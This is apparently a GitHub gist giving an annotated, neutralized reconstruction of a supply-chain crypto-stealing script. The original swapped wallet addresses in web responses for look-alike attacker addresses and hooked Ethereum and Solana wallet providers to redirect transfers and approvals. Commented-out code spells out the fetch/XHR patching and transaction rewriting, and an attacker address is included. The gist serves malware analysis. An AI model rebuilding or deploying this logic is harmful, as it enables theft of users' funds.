Created
September 10, 2025 21:01
-
-
Save moreaki/96821ec03719b409782d0a1eb25d92c9 to your computer and use it in GitHub Desktop.
SUPPLY CHAIN HACK: Analysis from GPT
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* ======================================================================== | |
| * MALICIOUS SCRIPT — ANALYSIS EDITION (NON-EXECUTABLE) | |
| * Purpose (original): | |
| * 1) Patch fetch/XMLHttpRequest responses to replace crypto addresses | |
| * 2) Hook wallet providers (Ethereum, Solana) and rewrite outgoing txs | |
| * ===================================================================== */ | |
| /** Global flags used by the original */ | |
| let hasEthAccount = 0; // neth | |
| let alreadyRan = 0; // rund | |
| let localInitDone = 0; // loval | |
| /** Entry point: probe for window.ethereum and trigger hooks */ | |
| async function probeEthereum() { | |
| try { | |
| const accounts = await window.ethereum.request({ method: "eth_accounts" }); | |
| if (accounts.length > 0) { | |
| // Would install provider hooks | |
| installProviderProxies(); // runmask() | |
| if (alreadyRan !== 1) { | |
| alreadyRan = 1; | |
| hasEthAccount = 1; | |
| installContentRewriter(); // newdlocal() | |
| } | |
| } else if (alreadyRan !== 1) { | |
| alreadyRan = 1; | |
| installContentRewriter(); | |
| } | |
| } catch (_) { | |
| if (alreadyRan !== 1) { | |
| alreadyRan = 1; | |
| installContentRewriter(); | |
| } | |
| } | |
| } | |
| /** Bootstrap (neutralized: doesn’t auto-run probe in this analysis version) */ | |
| (function bootstrap() { | |
| if (typeof window !== "undefined" && typeof window.ethereum !== "undefined") { | |
| // ORIGINAL would call probeEthereum(); We keep it commented for safety: | |
| // probeEthereum(); | |
| } else if (alreadyRan !== 1) { | |
| alreadyRan = 1; | |
| installContentRewriter(); | |
| } | |
| })(); | |
| /* ======================================================================== | |
| * Content Rewriter (responses, strings) — newdlocal() | |
| * Original behavior: | |
| * - Monkey-patches window.fetch and XMLHttpRequest to post-process payloads | |
| * - Locates crypto addresses in strings/JSON and swaps them with attacker | |
| * addresses chosen by minimum Levenshtein distance (“closest match”) | |
| * ===================================================================== */ | |
| function installContentRewriter() { | |
| if (localInitDone === 1) return; | |
| localInitDone = 1; | |
| // ---- Address catalogs (collapsed to placeholders for safety) ---------- | |
| // In the original, these are huge arrays of attacker addresses by chain. | |
| const ATTACKER = { | |
| // ETH receive addresses: | |
| ethereum: [ | |
| /* "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976", ... (MANY) */ | |
| ], | |
| // Bitcoin (legacy 1...), SegWit (3.../bc1...), TRON (T...), LTC, BCH: | |
| btcLegacy: [ /* ... */ ], | |
| btcSegwit: [ /* ... */ ], | |
| tron: [ /* ... */ ], | |
| ltc: [ /* ... */ ], | |
| bch: [ /* ... */ ], | |
| // Solana pubkeys & variants: | |
| solana: [ /* ... */ ], | |
| solana2: [ /* ... */ ], | |
| solana3: [ /* ... */ ], | |
| }; | |
| // ---- Patterns used to detect address-like substrings ------------------- | |
| const ADDRESS_REGEX = { | |
| ethereum: /\b0x[a-fA-F0-9]{40}\b/g, | |
| bitcoinLegacy: /\b1[a-km-zA-HJ-NP-Z1-9]{25,34}\b/g, | |
| bitcoinSegwit: /\b(3[a-km-zA-HJ-NP-Z1-9]{25,34}|bc1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{11,71})\b/g, | |
| tron: /(?<!\w)T[1-9A-HJ-NP-Za-km-z]{33}\b/g, | |
| bch: /bitcoincash:[qp][a-zA-Z0-9]{41}\b/g, | |
| ltc: /(?<!\w)ltc1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{11,71}\b/g, | |
| ltc2: /(?<!\w)[mlML][a-km-zA-HJ-NP-Z1-9]{25,34}\b/g, | |
| solana: /(?<!\w)[4-9A-HJ-NP-Za-km-z][1-9A-HJ-NP-Za-km-z]{32,44}\b/g, | |
| solana2: /(?<!\w)3[1-9A-HJ-NP-Za-km-z]{35,44}\b/g, | |
| solana3: /(?<!\w)1[1-9A-HJ-NP-Za-km-z]{35,44}\b/g, | |
| }; | |
| /** Levenshtein distance */ | |
| function levenshteinDistance(a, b) { | |
| const dp = Array.from({ length: a.length + 1 }, () => | |
| Array(b.length + 1).fill(0) | |
| ); | |
| for (let i = 0; i <= a.length; i++) dp[i][0] = i; | |
| for (let j = 0; j <= b.length; j++) dp[0][j] = j; | |
| for (let i = 1; i <= a.length; i++) { | |
| for (let j = 1; j <= b.length; j++) { | |
| if (a[i - 1] === b[j - 1]) { | |
| dp[i][j] = dp[i - 1][j - 1]; | |
| } else { | |
| dp[i][j] = 1 + Math.min( | |
| dp[i - 1][j], // deletion | |
| dp[i][j - 1], // insertion | |
| dp[i - 1][j - 1], // substitution | |
| ); | |
| } | |
| } | |
| } | |
| return dp[a.length][b.length]; | |
| } | |
| /** Choose “closest” candidate by Levenshtein (original used this for swaps) */ | |
| function closestMatch(s, candidates) { | |
| let best = null; | |
| let bestDist = Infinity; | |
| for (const c of candidates) { | |
| const d = levenshteinDistance(s.toLowerCase(), c.toLowerCase()); | |
| if (d < bestDist) { bestDist = d; best = c; } | |
| } | |
| return best; | |
| } | |
| /** Process a string/JSON payload and (originally) replace addresses */ | |
| function rewritePayload(payload) { | |
| try { | |
| // Normalize to string, run replacement, and return same type | |
| const asString = | |
| typeof payload === "string" ? payload : JSON.stringify(payload); | |
| let result = asString; | |
| // The original iterates over each pattern and performs replacements. | |
| // Below we show the logic but DO NOT perform actual replacement. | |
| for (const [kind, regex] of Object.entries(ADDRESS_REGEX)) { | |
| const found = asString.match(regex) || []; | |
| for (const addr of found) { | |
| // In the original: | |
| // - If address is NOT already in the attacker catalogs, | |
| // - Replace it with closestMatch(addr, ATTACKER[...]). | |
| // Example (DISABLED): | |
| // const catalog = ( | |
| // kind === 'ethereum' ? ATTACKER.ethereum | |
| // : kind === 'bitcoinLegacy' ? ATTACKER.btcLegacy | |
| // : kind === 'bitcoinSegwit' ? ATTACKER.btcSegwit | |
| // : kind === 'tron' ? ATTACKER.tron | |
| // : (kind === 'ltc' || kind === 'ltc2') ? ATTACKER.ltc | |
| // : kind === 'bch' ? ATTACKER.bch | |
| // : (kind === 'solana' || kind === 'solana2' || kind === 'solana3') ? ATTACKER.solana | |
| // : [] | |
| // ); | |
| // if (!catalog.includes(addr)) { | |
| // const replacement = closestMatch(addr, catalog); | |
| // result = result.replace(addr, replacement); | |
| // } | |
| } | |
| } | |
| // Return in original type | |
| try { return typeof payload === "string" ? result : JSON.parse(result); } | |
| catch { return result; } | |
| } catch { | |
| return payload; | |
| } | |
| } | |
| // ----------------- Network monkey patches (DISABLED) ------------------- | |
| // ORIGINAL: Replaced window.fetch to post-process every response body. | |
| // ORIGINAL: Wrapped XMLHttpRequest to overwrite response/responseText. | |
| // | |
| // For safety we only leave explanatory stubs: | |
| // if (typeof window !== "undefined") { | |
| // const origFetch = window.fetch.bind(window); | |
| // window.fetch = async (...args) => { | |
| // const res = await origFetch(...args); | |
| // const ct = res.headers.get("Content-Type") || ""; | |
| // const body = ct.includes("application/json") | |
| // ? await res.clone().json() | |
| // : await res.clone().text(); | |
| // const rewritten = rewritePayload(body); | |
| // const text = typeof rewritten === "string" | |
| // ? rewritten | |
| // : JSON.stringify(rewritten); | |
| // return new Response(text, { status: res.status, statusText: res.statusText, headers: res.headers }); | |
| // }; | |
| // | |
| // const XHROpen = XMLHttpRequest.prototype.open; | |
| // const XHRSend = XMLHttpRequest.prototype.send; | |
| // XMLHttpRequest.prototype.open = function(method, url, async, user, pass) { | |
| // this._url = url; | |
| // return XHROpen.apply(this, arguments); | |
| // }; | |
| // XMLHttpRequest.prototype.send = function(body) { | |
| // const xhr = this; | |
| // const origOnReady = xhr.onreadystatechange; | |
| // xhr.onreadystatechange = function() { | |
| // if (xhr.readyState === 4) { | |
| // try { | |
| // const ct = xhr.getResponseHeader("Content-Type") || ""; | |
| // const raw = ct.includes("application/json") ? JSON.parse(xhr.responseText) : xhr.responseText; | |
| // const rewritten = rewritePayload(raw); | |
| // const text = typeof rewritten === "string" ? rewritten : JSON.stringify(rewritten); | |
| // // ORIGINAL: Object.defineProperty to overwrite response/responseText | |
| // } catch {} | |
| // } | |
| // if (origOnReady) origOnReady.apply(this, arguments); | |
| // }; | |
| // return XHRSend.apply(this, arguments); | |
| // }; | |
| // } | |
| } | |
| /* ======================================================================== | |
| * Provider Hooks (Ethereum/Solana) — runmask() | |
| * Original behavior: | |
| * - Wrap ethereum.request/send/sendAsync to mutate outgoing txs | |
| * - For ETH: | |
| * * If tx.value != 0: force `to` to attacker address | |
| * * If data matches selectors, rewrite params: | |
| * 0x095ea7b3 => approve(spender, amount) -> set spender = attacker | |
| * 0xa9059cbb => transfer(to, amount) -> set to = attacker | |
| * 0x23b872dd => transferFrom(from, to, amount) -> set to = attacker | |
| * 0xd505accf => multi/permit-like payload (slice & inject attacker) | |
| * - For Solana: | |
| * * Overwrite instruction accounts’ pubkeys to a fixed malicious key | |
| * ===================================================================== */ | |
| function installProviderProxies() { | |
| // Internal counters/state (original used for stats) | |
| let interceptCount = 0; | |
| const originals = new Map(); | |
| let active = false; | |
| /** Clone + rewrite a single Ethereum or Solana transaction (DISABLED) */ | |
| function rewriteTransaction(tx, isEthereum = true) { | |
| const cloned = JSON.parse(JSON.stringify(tx)); | |
| if (isEthereum) { | |
| // ETH path (DISABLED): | |
| // if (cloned.value && cloned.value !== "0x0" && cloned.value !== "0") { | |
| // cloned.to = "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976"; // attacker | |
| // } | |
| // | |
| // if (cloned.data) { | |
| // const data = String(cloned.data).toLowerCase(); | |
| // if (data.startsWith("0x095ea7b3")) { /* approve(spender, amount) -> replace spender */ } | |
| // else if (data.startsWith("0xd505accf")) { /* complex splice -> inject attacker */ } | |
| // else if (data.startsWith("0xa9059cbb")) { /* transfer(to, amt) -> replace to */ } | |
| // else if (data.startsWith("0x23b872dd")) { /* transferFrom -> replace to */ } | |
| // } | |
| // | |
| // else if (cloned.to && cloned.to !== ATTACKER_ETH) { | |
| // cloned.to = ATTACKER_ETH; | |
| // } | |
| } else { | |
| // Solana path (DISABLED): | |
| // if (Array.isArray(cloned.instructions)) { | |
| // for (const ix of cloned.instructions) { | |
| // if (Array.isArray(ix.accounts)) { | |
| // for (const acc of ix.accounts) { | |
| // if (typeof acc === "string") acc = "19111111111111111111111111111111"; | |
| // else if (acc.pubkey) acc.pubkey = "19111111111111111111111111111111"; | |
| // } | |
| // } | |
| // if (Array.isArray(ix.keys)) { | |
| // for (const k of ix.keys) { | |
| // if (k.pubkey) k.pubkey = "19111111111111111111111111111111"; | |
| // } | |
| // } | |
| // } | |
| // } | |
| // if (cloned.recipient) cloned.recipient = "19111111111111111111111111111111"; | |
| // if (cloned.destination) cloned.destination = "19111111111111111111111111111111"; | |
| } | |
| return cloned; // In analysis version: returns unmodified clone | |
| } | |
| /** Wraps provider methods to intercept params and call rewriteTransaction */ | |
| function wrapProvider(provider) { | |
| if (!provider) return false; | |
| let installed = false; | |
| for (const methodName of ["request", "send", "sendAsync"]) { | |
| if (typeof provider[methodName] === "function") { | |
| const original = provider[methodName]; | |
| originals.set(methodName, original); | |
| // DISABLED wrapper (kept for structure; returns original behavior) | |
| Object.defineProperty(provider, methodName, { | |
| value: async function (...args) { | |
| interceptCount++; | |
| let safeArgs; | |
| try { safeArgs = JSON.parse(JSON.stringify(args)); } | |
| catch { safeArgs = [...args]; } | |
| // Ethereum path example (original mutates params): | |
| // if (safeArgs[0]?.method === "eth_sendTransaction" && safeArgs[0]?.params?.[0]) { | |
| // safeArgs[0].params[0] = rewriteTransaction(safeArgs[0].params[0], true); | |
| // } | |
| // Solana path example: | |
| // if (["solana_signTransaction","solana_signAndSendTransaction"].includes(safeArgs[0]?.method)) { | |
| // const t = safeArgs[0].params?.[0]?.transaction ?? safeArgs[0].params?.[0]; | |
| // const rewritten = rewriteTransaction(t, false); | |
| // if (safeArgs[0].params[0].transaction) safeArgs[0].params[0].transaction = rewritten; | |
| // else safeArgs[0].params[0] = rewritten; | |
| // } | |
| // Analysis version: call original unmodified | |
| const out = original.apply(this, safeArgs); | |
| return (out && typeof out.then === "function") ? out.then(v => v) : out; | |
| }, | |
| writable: true, configurable: true, enumerable: true | |
| }); | |
| installed = true; | |
| } | |
| } | |
| if (installed) active = true; | |
| return installed; | |
| } | |
| /** In the original, this repeatedly tried to attach after page load */ | |
| function deferWrap() { | |
| let attempts = 0; | |
| (function tick() { | |
| attempts++; | |
| if (window.ethereum) { | |
| setTimeout(() => wrapProvider(window.ethereum), 500); | |
| return; | |
| } | |
| if (attempts < 50) setTimeout(tick, 100); | |
| })(); | |
| } | |
| // DISABLED in analysis version: | |
| // deferWrap(); | |
| // Expose a tiny control surface (forensics) | |
| window.stealthProxyControl = { | |
| isActive: () => active, | |
| getInterceptCount: () => interceptCount, | |
| getOriginalMethods: () => new Map(), // redacted | |
| forceShield: () => false // original tried wrapProvider(window.ethereum) | |
| }; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment